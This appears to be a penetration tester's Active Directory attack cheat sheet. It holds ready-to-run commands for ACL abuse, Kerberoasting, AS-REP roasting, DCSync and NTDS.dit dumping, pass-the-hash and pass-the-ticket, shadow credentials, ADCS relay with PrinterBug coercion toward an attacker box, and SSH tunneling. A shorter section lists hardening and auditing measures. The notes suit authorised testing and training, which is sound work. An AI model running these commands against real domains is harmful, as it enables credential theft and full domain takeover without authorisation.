ACLAbuseImpact
DCSync (GetChanges+GetChangesAll)lsadump::dcsync / secretsdumpDump all domain hashes β€” game over
GenericAllSet-DomainUserPassword / Add-DomainGroupMember / RBCD / Shadow CredsFull control over object
AllExtendedRightsSet-DomainUserPassword / Add-DomainGroupMember / DCSyncExtended rights bundle
WriteDACLAdd-DomainObjectACL β†’ grant self GenericAllEscalates to GenericAll
WriteOwnerSet-DomainObjectOwner β†’ WriteDACL β†’ GenericAllEscalates to GenericAll
OwnsSet-DomainObjectOwner β†’ WriteDACL chainSame as WriteOwner
ReadLAPSPasswordGet-DomainComputer -Properties ms-mcs-AdmPwdInstant local admin
ReadGMSAPasswordgMSADumper.pyService account takeover
GenericWriteSet-DomainObject / Targeted Kerberoast / Shadow Creds / Logon scriptPartial control
ForceChangePasswordSet-DomainUserPasswordPassword reset without old pass
AddMembersAdd-DomainGroupMemberAdd self to privileged group
AddSelfAdd-DomainGroupMemberAdd self to one group only

Top ACL Attacks

  • ForceChangePassword - gives us the right to reset a user’s password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).
  • GenericWrite - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.
  • AddSelf - shows security groups that a user can add themselves to.
  • GenericAll - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.
ACL Attacks

by https://x.com/_nwodtuhs

Enumerating ACLs of User

See more about… Enumerating ACLs of User

Source: Docs > 9 - Notes > bloodhound#enumerating-acls-of-user

Enumerating ACLs of User

  1. Select starting node user
  2. Select Node Info > Scroll to Outbound Control Rights
  3. First Degree Object Control
    1. Right-Click edge > Help for more info
  4. Transitive Object Control
  5. Analysis > Dangerous Rights

PowerView

# Enum ACLs of User
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid <USER>
# Pay Attention to ObjectAceType and ActiveDirectoryRights
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} -Verbose

# Get Group Membership of User
Get-DomainGroup -Identity "<GROUP>" | select memberof

REPEAT Get-DomainObjectACL of Group

Manual

WARNING: These commands are very slow

# Create list of Domain Users (ADSI)
$root = [ADSI]"LDAP://RootDSE"
$defaultNC = $root.defaultNamingContext.Value
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC")
$searcher.Filter = "(objectCategory=user)"
$searcher.PropertiesToLoad.Add("samAccountName") | Out-Null
$searcher.FindAll() | ForEach-Object { $_.Properties["samaccountname"][0] } | Set-Content ad_users.txt

# Iterate over users to find filtered ACL (ACL via LDAP path)
foreach($line in [System.IO.File]::ReadLines(".\ad_users.txt")) {
  $u = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC")
  $u.Filter = "(&(objectCategory=user)(samAccountName=$line))"
  $u.PropertiesToLoad.Add("distinguishedName") | Out-Null
  $r = $u.FindOne(); if($r) { $dn = $r.Properties["distinguishedname"][0]; Get-Acl "LDAP://$dn" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match '<DOMAIN>\\<USER>'} }
}

# Manually resolve ACL (ObjectAceType) GUIDs (ADSI)
$root = [ADSI]"LDAP://RootDSE"
$configNC = $root.configurationNamingContext.Value
$extSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://CN=Extended-Rights,$configNC")
$extSearcher.Filter = "(objectClass=controlAccessRight)"
$extSearcher.PropertiesToLoad.Add("name") | Out-Null
$extSearcher.PropertiesToLoad.Add("displayName") | Out-Null
$extSearcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
$extSearcher.PropertiesToLoad.Add("rightsGuid") | Out-Null
$extSearcher.FindAll() | Where-Object { $_.Properties["rightsguid"][0] -eq "<GUID>" }

Checking Access Rights

Remote Desktop

# Check if machine is RDP-able
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -GroupName "Remote Desktop Users" -ComputerName <COMPUTER_NAME>
See more about… CanRDP

Source: Docs > 9 - Notes > bloodhound#canrdp

CanRDP

  • BloodHound CanRDP:
    • Search for User > Node Info > Execution Rights
    • Analysis
      • Find Workstations where Domain Users can RDP
      • Find Servers where Domain Users can RDP

WinRM

# Check if machine is WinRM-able
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -GroupName "Remote Management Users" -ComputerName <COMPUTER_NAME>
See more about… CanPSRemote

Source: Docs > 9 - Notes > bloodhound#canpsremote

CanPSRemote

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

SQL

# Enumerate MSSQL instances on the domain
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain

Get-SQLQuery -Verbose -Instance "<TARGET>,1433" -username "<DOMAIN>\<USER>" -password "<PASSWORD>" -query 'Select @@version'
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:'<PASSWORD>'@<TARGET>
See more about… SQLAdmin

Source: Docs > 9 - Notes > bloodhound#sqladmin

SQLAdmin

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

Domain Misconfigurations

DNS Record Enumeration (adidnsdump)

Resolves hidden records in the DNS zone that standard enumeration misses.

# Dump all DNS records (Authenticated)
adidnsdump -vr -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP>

# Resolve unknown records (A Query)
adidnsdump -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP> -r

User Attributes Mining

Hunting for passwords in descriptions and weak account configurations.

# Find Passwords in Description Field
Import-Module .\PowerView.ps1
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}

# Find PASSWD_NOTREQD Accounts
# Users not subject to password policy length (potential blank passwords)
# https://ldapwiki.com/wiki/Wiki.jsp?page=PASSWD_NOTREQD
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

SYSVOL & Group Policy Passwords

Searching for hardcoded credentials in scripts and registry preferences.

# 1. Manual Check (PowerShell)
ls \\<DC_NAME>\SYSVOL\<DOMAIN>\scripts

# 2. Automated Hunt (NetExec) - GPP Autologin & Registry
nxc smb <TARGET_IP> -u <USER> -p <PASSWORD> -M gpp_autologin
nxc smb <TARGET_IP> -u <USER> -p <PASSWORD> -M gpp_password

Printer Bug Enumeration (Spooler Service)

Checks if the Print Spooler is running on the DC (required for coercion attacks like PetitPotam/PrinterBug).

# SecurityAssessment.ps1
git clone https://github.com/itzvenom/Security-Assessment-PS && cd Security-Assessment-PS
Import-Module .\SecurityAssessment.ps1
Get-SpoolStatus -ComputerName <DC_FQDN>

Exchange Privilege Escalation

Abusing Exchange Windows Permissions group.

Reference: https://github.com/gdedrouas/Exchange-AD-Privesc

Getting Access Credentials

Kerberoasting (cracking TGS)

Kerberoasting involves any valid domain user requesting a Ticket Granting Service (TGS) for an SPN. The TGS is encrypted with the service’s NTLM password hash, which if a human-readable password was set, can be cracked to reveal a password. The service is often times a local administrator. The key point is this technique must use password cracking to reveal the password; otherwise, only the TGS and an authorized user can access the service . Hence, an uncrackable password will prove fruitless. One must have 1 of the following:

  • an account’s cleartext password or NTLM hash
  • a shell in the context of a domain user account (Kerberos ticket)
  • SYSTEM level access on a domain-joined host

TGS Encryption Types

Encryption TypeHashcat ModeHash FormatNotes
RC413100$krb5tgs$23$*Most common in most environments. Type 23 encrypted ticket.
AES-12819600$krb5tgs$17$*Type 17 encrypted ticket.
AES-25619700$krb5tgs$18$*Sometimes received. Type 18 encrypted ticket.

Create Fake SPN via PowerView

Create a fake SPN to Kerberoast a user. This will require proper enumeration and a vector to have the right privileges.

SPN_NAME format: serviceclass/host[:port]: e.g. MSSQLSvc/sql01.domain.local:1433

First import PowerView:

See more about… via PowerView

Source: Docs > 6 - Post-Exploitation > nice-commands#via-powerview

via PowerView

Import PowerView:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
Import-Module .\PowerView.ps1

If needed, authenticated as privileged user first:

$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

Then, create and set NEW password of other account:

$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force

Set-DomainUserPassword -Identity <USER> -AccountPassword $newPassword -Credential $Cred -Verbose

And alternatively add more permissions to that user:

# Get Group SID
# $group = (Get-DomainGroup "<GROUP>" -Server <DC_IP> -Credential $Cred).objectsid

# Add User to Group
Add-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Domain <DOMAIN> -Credential $Cred -Verbose

# Remove User from Group
Remove-DomainGroupMember -Identity "<GROUP>" -Members '<USER>' -Domain <DOMAIN> -Credential $Cred -Verbose

# Verify Group Membership or Removal
Get-DomainGroupMember -Identity "<GROUP>" -Server <DC_IP> -Credential $Cred | Select MemberName
# Authenticate
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$CredSPN = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)

# Create SPN
Set-DomainObject -Credential $CredSPN -Identity <USER> -SET @{serviceprincipalname='<SPN_NAME>'} -Verbose
Cleanup
# Remove fake SPN
Set-DomainObject -Credential $CredSPN -Identity <USER> -Clear <SPN_NAME> -Verbose

Linux

Impacket GetUserSPNs

# Enum users and collect tickets
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER> -request -outputfile spn_tickets.txt

Crack TGS

# Crack TGS
hashcat -m <HASHCAT_MODE> spn_tickets.txt <WORDLIST>

# Verify via netexec
netexec smb <DC_IP> -u <USER> -p <PASSWORD>

Windows

via Rubeus

# Show Kerberoastable users
.\Rubeus.exe kerberoast /nowrap

# Show Kerberoastable admins
.\Rubeus.exe kerberoast /nowrap /ldapfilter:'admincount=1'

# Kerberoast User
# NOTE: /tgtdeleg attempts to force RC4 enc
.\Rubeus.exe kerberoast /nowrap /tgtdeleg /user:<USER>

NOTE: This RC4 downgrade does not work against a Windows Server 2019 Domain Controller. It will always return a service ticket encrypted with the highest level of encryption supported by the target account

via PowerView

# Enumerate SPN Accounts
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname,description
# Get TGS for User
Get-DomainUser -Identity <USER> | Get-DomainSPNTicket -Format Hashcat
# Get ALL TGS
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv -NoTypeInformation .\<OUTFILE>

via Manual Method

# REQUIRED: declare new type
Add-Type -AssemblyName System.IdentityModel

# Request and load all TGS for all SPNs into memory
# NOTE: these will need to be dumped from memory
setspn.exe -T <DOMAIN> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

# Dump TGS from memory
.\mimikatz.exe
base64 /out:true
kerberos::list /export

# Format Base64 TGS
echo '<TGS_BASE64>' | tr -d \\n | base64 -d > vmware.kirbi
kirbi2john vmware.kirbi > crackme.txt

# CRACK!

See cracking: Crack TGS

AS-REP Roasting

When Kerberos pre-authentication is disabled, an attacker can request encrypted authentication responses without needing the user’s password and later attempt offline password cracking.

Windows

# Enumerate Vulnerable Users (PowerView)
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

# Roast Specific User (Rubeus)
.\Rubeus.exe asreproast /nowrap /format:hashcat /user:<USERNAME>

Linux

# Linux Alternative (Kerbrute)
# Brute-force users AND auto-check for AS-REP Roasting
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <USERLIST>

DCSync

Steals the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data, allowing an attacker to mimic a DC to retrieve user NTLM password hashes.

Enum via PowerView

# Look for DS-Replication-Get-Changes-All
$sid = Convert-NameToSid <USER>
Get-ObjectAcl "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

Attack via netexec

See more about… NTDS Extraction

Source: Docs > 9 - Notes > netexec#ntds-extraction

NTDS Extraction

# Extract NTDS.dit using ntdsutil module (copies NTDS.dit then parses it)
nxc smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil

To dump one account instead of the full database, add --ntds --user <USER>:

# Dump a specific user only (NTDS hash extraction scoped to one account)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user Administrator
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user krbtgt

Attack via mimikatz

See more about… DCSync

Source: Docs > 9 - Notes > mimikatz#dcsync

DCSync

Might require runas.

# Specific user
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>

# For KRBTGT
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt

# All users
# WARNING: takes a long time... write output to a file!
log dc_sync.txt
lsadump::dcsync /domain:<DOMAIN> /all

Manually via NTDS.dit

netexec essentially does the same thing here but remotely… so this should be a last resort method.

# Copy NTDS.dit
# NOTE: hashes in NTDS are encrypted with DPAPI key in SYSTEM
vssadmin list shadows
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<NUM>\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

# Download it and impacket-secretsdump
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
# Same as above but easier
netexec smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil

Escalating and Pivoting

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Preparation

# Extract AES Keys
.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

Option A: Mimikatz (Process Injection)

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Option B: Rubeus (Request & Inject)

# Requests a TGT from the KDC and immediately injects it (/ptt)
# Can use /rc4 (NTLM), /aes128, or /aes256
.\Rubeus.exe asktgt /ptt /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY>

Pass the Ticket (PtT)

Windows

Mimikatz

# 1. Export tickets from memory to .kirbi files
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
# $ : machine tickets (computers)
# @ : service tickets (users)

# 2. Inject Ticket
.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>" "misc::cmd" exit

Rubeus

# Enumerate tickets currently in session
.\Rubeus.exe triage

# Export tickets to base64 (for copy-paste)
.\Rubeus.exe dump /nowrap

# Pass from File
.\Rubeus.exe ptt /ticket:"<TICKET_FILE.kirbi>"

# Pass from Base64 String
.\Rubeus.exe ptt /ticket:"<BASE64_STRING>"

# Convert File to Base64 (PowerShell Helper)
[Convert]::ToBase64String([IO.File]::ReadAllBytes("<TICKET_FILE.kirbi>"))

# Advanced: Extract & Pass John's ticket automatically (Regex One-Liner)
$raw = .\Rubeus.exe dump /user:john /nowrap | Out-String
$ticket = [Regex]::Match($raw, "(?s)Base64EncodedTicket\s*:\s*(.*)").Groups[1].Value.Trim() -replace "\s", ""
.\Rubeus.exe ptt /ticket:$ticket

Linux

klist
# Backup current keytab
cp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) KEYTAB.BAK
# Use current keytab
export KRB5CCNAME=KEYTAB.BAK
# Enumerate AD information
# https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/windows_integration_guide/cmd-realmd
realm list

# Check for AD
grep -i "sss\|winbind\|ldap" /etc/nsswitch.conf
ps -ef | grep -i "winbind\|sssd"
env | grep -i krb5

# Find keytabs
sudo find / \( -iname '*keytab*' -o -iname '*.kt' \) -ls 2>/dev/null

# List cached Kerberos tickets
klist
# Backup current keytab
cp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) current.kt.bak
# Use current keytab
export KRB5CCNAME=$(pwd)/current.kt.bak

# Extract hashes from keytab files
# https://github.com/sosdave/KeyTabExtract
python3 keytabextract.py <KEYTAB_FILE>

# Use keytab
# NOTE: not all cached keytabs are valid
ls -la /tmp/krb5cc*
cp -v <KEYTAB> $HOME/current.kt.bak
export KRB5CCNAME=$HOME/current.kt.bak

# Show keytabs
klist
# Use keytab
kinit -k '<NAME>'

smbclient //<TARGET>/C$ -k -no-pass -c 'ls'

Double Hop Problem

There’s an issue known as the “Double Hop” problem that arises when an attacker attempts to use Kerberos authentication across two (or more) hops. The issue concerns how Kerberos tickets are granted for specific resources. Kerberos tickets should not be viewed as passwords. They are signed pieces of data from the KDC that state what resources an account can access (e.g. a computer but not beyond that computer). When we perform Kerberos authentication, we get a “ticket” that permits us to access the requested resource (i.e., a single machine). On the contrary, when we use a password to authenticate, that NTLM hash is stored in our session and can be used elsewhere without issue.

Enumeration of the Problem

Use these commands to confirm you are in a “Double Hop” / Network Logon state where delegation is failing.

CommandOutput IndicatorMeaning
klistMissing krbtgt/DOMAINYou have no TGT. You cannot request tickets for other servers.
klistPresent HTTP/HostnameYou only have a service ticket for the current box.
mimikatzPassword : (null)LSASS has no cached credentials for your session.
dir \\DC01\C$Access is denied / Anonymous LogonThe target sees you as “Anonymous” because no creds were forwarded.

Mitigation Methods

Method 1: Pass Credential Object (Handout / Native)

Best for “Living off the Land” without uploading tools. Requires knowing the plaintext password.

# 1. Create the Credential Object
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $pass)

# 2. Execute command on the 2nd Hop using the Credential
Invoke-Command -ComputerName <MACHINE_NAME> -Credential $cred -ScriptBlock { Get-Process }

# 3. Or enter an interactive session
Enter-PSSession -ComputerName <MACHINE_NAME> -Credential $cred

Method 2: Register PSSession Configuration (Admin)

Requires Admin on the Jump Box. Sets up a permanent endpoint that auto-authenticates.

# 1. Register the Session (On Jump Box)
Register-PSSessionConfiguration -Name "<SESSION_NAME>" -RunAsCredential "<DOMAIN>\<USER>" -Force

# 2. Connect to it (From Attack/Start Box)
Enter-PSSession -ComputerName <MACHINE_NAME> -ConfigurationName "<SESSION_NAME>"

# 3. Verify
klist # You should now see the krbtgt ticket

Method 3: Rubeus / Overpass-the-Hash (Attacker / Modern)

Best if you have a Hash or AES Key. Injects a TGT into your current session, “fixing” the double hop instantly.

# 1. Inject a TGT using the hash (or AES key)
.\Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /rc4:<NTLM_HASH> /ptt

# 2. Verify
klist # You now have a krbtgt ticket

# 3. Pivot
ls \\<DC_NAME>\C$ # Works natively now

Method 4: Mimikatz PtH (Legacy / Risky in WinRM)

Mimikatz usually spawns a new window (which fails in WinRM). You must force it to run a command in the same console.

# /run:powershell might hang WinRM depending on the shell stability.
# Use Rubeus (Method 3) if possible.
mimikatz.exe "sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell" exit

Pass the Certificate (PtC)

Shadow Credentials Attack:

# https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/
# https://github.com/ShutdownRepo/pywhisker.git
git clone https://github.com/ShutdownRepo/pywhisker.git && cd pywhisker && pip3 install -r requirements.txt && cd pywhisker

# Get Certificate for user
python3 pywhisker.py --dc-ip <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' --target <NEW_USER> --action add
# creates .pfx file of <NEW_USER> and PFX password
# Intercept web enrollment requests
# https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
# NOTE: use https://github.com/ly4k/Certipy to find other templates
python3 -m venv venv
pip install git+https://github.com/fortra/impacket.git
hash -r
venv/bin/ntlmrelayx.py --adcs -smb2support --template KerberosAuthentication -t <WEB_ENROLL_SERVER>
# outputs *.pfx file

# Force arbitrary auth from <TARGET> to <ATTACKER> via printers
# e.g. DC => ATTACKER BOX
# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
wget https://github.com/dirkjanm/krbrelayx/raw/refs/heads/master/printerbug.py
python3 printerbug.py <DOMAIN>/<USERNAME>:"<PASSWORD>"@<TARGET> <ATTACKER>

# PtC to get TGT
# https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py
git clone https://github.com/dirkjanm/PKINITtools.git ; cd PKINITtools ; python3 -m venv .venv ; source .venv/bin/activate ; pip3 install -r requirements.txt ; pip3 install -I git+https://github.com/wbond/oscrypto.git

# OPTIONAL: -pfx-pass from pywhisker.py
python3 gettgtpkinit.py -cert-pfx <PFX_FILE> -pfx-pass <PFX_PASS> -dc-ip <DC_IP> '<DOMAIN>/<USER>' <OUTPUT_TGT>
# gives <OUTPUT_TGT>

---

# Configure Kerberos
echo '<DC_IP> <DC_FQDN>' | sudo tee -a /etc/hosts
sudo cp -v /etc/krb5.conf /etc/krb5.conf.bak
echo '[libdefaults]
    default_realm = <DOMAIN>
    dns_lookup_kdc = false
[realms]
    <DOMAIN> = {
        kdc = <DC_FQDN>
    }
[domain_realm]
    .<DOMAIN_LOWER> = <DOMAIN_UPPER>
    <DOMAIN_LOWER> = <DOMAIN_UPPER>
' | sudo tee /etc/krb5.conf

export KRB5CCNAME=<OUTPUT_TGT>
klist
# Get NTLM hash of DC Administrator
impacket-secretsdump -k -no-pass -dc-ip <DC_IP> -just-dc-user Administrator '<DOMAIN>/<DC_HOSTNAME>$'@<TARGET_FQDN>
# gives HASH

evil-winrm ... -H <HASH>

Mitigation

Inventory

  • Naming conventions of OUs, computers, users, groups
  • DNS, network, and DHCP configurations
  • An intimate understanding of all GPOs and the objects that they are applied to
  • Assignment of FSMO roles
  • Full and current application inventory
  • A list of all enterprise hosts and their location
  • Any trust relationships we have with other domains or outside entities
  • Users who have elevated permissions

Prevention

Technology

  • Run tools such as 5d, PingCastle, and Grouper periodically to identify AD misconfigurations.
  • Ensure that administrators are not storing passwords in the AD account description field.
  • Review SYSVOL for scripts containing passwords and other sensitive data.
  • Avoid the use of “normal” service accounts, utilizing Group Managed (gMSA) and Managed Service Accounts (MSA) where ever possible to mitigate the risk of Kerberoasting.
  • Disable Unconstrained Delegation wherever possible.
  • Prevent direct access to Domain Controllers through the use of hardened jump hosts.
  • Consider setting the ms-DS-MachineAccountQuota attribute to 0, which disallows users from adding machine accounts and can prevent several attacks such as the noPac attack and Resource-Based Constrained Delegation (RBCD)
  • Disable the print spooler service wherever possible to prevent several attacks
  • Disable NTLM authentication for Domain Controllers if possible
  • Use Extended Protection for Authentication along with enabling Require SSL only to allow HTTPS connections for the Certificate Authority Web Enrollment and Certificate Enrollment Web Service services
  • Enable SMB signing and LDAP signing
  • Take steps to prevent enumeration with tools like BloodHound
  • Ideally, perform quarterly penetration tests/AD security assessments, but if budget constraints exist, these should be performed annually at the very least.
  • Test backups for validity and review/practice disaster recovery plans.
  • Enable the restriction of anonymous access and prevent null session enumeration by setting the RestrictNullSessAccess registry key to 1 to restrict null session access to unauthenticated users.

People

  • The organization should have a strong password policy, with a password filter that disallows the use of common words (i.e., welcome, password, names of months/days/seasons, and the company name). If possible, an enterprise password manager should be used to assist users with choosing and using complex passwords.
  • Rotate passwords periodically for all service accounts.
  • Disallow local administrator access on user workstations unless a specific business need exists.
  • Disable the default RID-500 local admin account and create a new admin account for administration subject to LAPS password rotation.
  • Implement split tiers of administration for administrative users. Too often, during an assessment, you will gain access to Domain Administrator credentials on a computer that an administrator uses for all work activities.
  • Clean up privileged groups. Does the organization need 50+ Domain/Enterprise Admins? Restrict group membership in highly privileged groups to only those users who require this access to perform their day-to-day system administrator duties.
  • Disable Kerberos delegation for administrative accounts (the Protected Users group may not do this)
  • Where appropriate, place accounts in the Protected Users group.
# Viewing the Protected Users Group (ADSI)
$root = [ADSI]"LDAP://RootDSE"
$defaultNC = $root.defaultNamingContext.Value
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC")
$searcher.Filter = "(&(objectCategory=group)(samAccountName=Protected Users))"
$searcher.PropertiesToLoad.Add("name") | Out-Null
$searcher.PropertiesToLoad.Add("description") | Out-Null
$searcher.PropertiesToLoad.Add("member") | Out-Null
$searcher.FindOne() | ForEach-Object { $_.Properties }

Reporting and Auditing

PingCastle

Role: Generates a “Health Check” report based on a maturity model. Bridges the gap between technical findings and C-Level risk scores. OPSEC: Moderate. Generates significant LDAP traffic but looks like admin activity.

# Interactive Mode (Best for first run)
PingCastle.exe

# Healthcheck Report (Non-Interactive)
# Generates an HTML report in the current directory
PingCastle.exe --healthcheck --server <DC_FQDN>

# Scan specific risk areas (Scanner Mode)
# Options: aclcheck, antivirus, localadmin, laps_bitlocker, etc.
PingCastle.exe --scanner aclcheck

Active Directory Explorer (Sysinternals)

Role: Creates (and mounts) snapshots of the AD Database for offline analysis. Attack Vector: If you find .dat snapshot files on shares, you can mount them to browse AD as it was at that time without alerting the DC.

# Create a Snapshot (Requires Creds)
# -snapshot: Create a snapshot
# "" : Prompt for password
ADExplorer.exe -snapshot "" <DC_FQDN> output_filename

# Mount a Snapshot (Offline Analysis)
# Allows you to browse a .dat file found on a share
ADExplorer.exe -snapshot "" <PATH_TO_DAT_FILE>

Group3r

Role: Deep-dive auditing of Group Policy Objects (GPOs). Unlike standard tools that check permissions, this parses the content of GPOs to find hardcoded passwords, local admin deployments, and script definitions.

# Basic Scan (Output to Console)
group3r.exe -s

# Full Scan (Output to File)
# -f: Output file path
group3r.exe -f results.log

ADRecon

Role: Extracts everything from the domain (Users, Computers, GPOs, DNS, LAPS, BitLocker) and compiles it into a massive Excel report. OPSEC: πŸ’€ EXTREMELY LOUD. Do not use during a Red Team engagement unless you have burned the environment or are simulating an “Ignorant Insider.”

# Run Audit (Requires Excel installed for pretty reports, otherwise CSV)
.\ADRecon.ps1

# Run on specific target Domain Controller
.\ADRecon.ps1 -DomainController <DC_IP>

# Generate Excel report from CSVs (Run offline on analyst machine)
.\ADRecon.ps1 -GenExcel <PATH_TO_CSV_FOLDER>

Lateral Movement

Network Info

# Linux
arp -a
cat /etc/hosts
ifconfig
ip a
nmcli dev show
ip r

# Windows
arp -a
type c:\Windows\System32\drivers\etc\hosts
ipconfig /all
netstat -r

Access Domain Names

For a box that is not joined to the domain, but has domain access, add the DC (or DNS server) to resolve DNS names.

Split DNS Resolution (w/ VPN)

# 1. Enable dnsmasq plugin (Global Config)
sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.bak
sudo sed -i '/\[main\]/a dns=dnsmasq' /etc/NetworkManager/NetworkManager.conf

# 2. Create the Domain Rule (Persistent)
# Syntax: server=/domain.com/10.10.10.10
echo "server=/<FQDN>/<DNS_SERVER>" | sudo tee /etc/NetworkManager/dnsmasq.d/split_dns.conf

# 3. Restart NetworkManager to apply the plugin change
sudo systemctl restart NetworkManager

# 4. Configure the VPN Connection
# Replace <CONNECTION_NAME> with your VPN profile name (e.g., 'tun0' or 'lab_vpn')
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns ""
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.never-default yes

# 5. Reconnect VPN
sudo nmcli connection down "<CONNECTION_NAME>"
sudo nmcli connection up "<CONNECTION_NAME>"

All DNS Resolution (no Internet access)

# Configure the VPN connection to strictly use the Target DNS
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns "<DNS_SERVER>"
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes

# Reconnect to apply
sudo nmcli connection down "<CONNECTION_NAME>"
sudo nmcli connection up "<CONNECTION_NAME>"

Verify

nslookup <TARGET>

Domain Information

# Get Domain Info
net config workstation
ipconfig /all
echo %USERDOMAIN%
$env:USERDOMAIN
echo %LOGONSERVER%
$env:LOGONSERVER
(Get-WmiObject Win32_ComputerSystem).Domain
(Get-CimInstance Win32_ComputerSystem).Domain   # PowerShell (modern; no WMI)
systeminfo

Tunneling (Port Forwarding)

SSH

Forward

Local (where SSH is ran from) => Remote (Target)

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> <USER>@<TARGET_2>

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> \
    -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> \
    <USER>@<TARGET_2>

Reverse

NOTE: this requires GatewayPorts to be yes:

grep 'GatewayPorts' /etc/ssh/sshd_config
ssh -R <REMOTE_IP>:<REMOTE_PORT>:0.0.0.0:<LOCAL_PORT> <USER>@<TARGET> -v

Metasploit

portfwd list

Forward

# ATTACKER => REDIR => TARGET
# NOTE: add "-L 0.0.0.0" to make the local port accessible from other machines next to ATTACKER (like a Windows box)
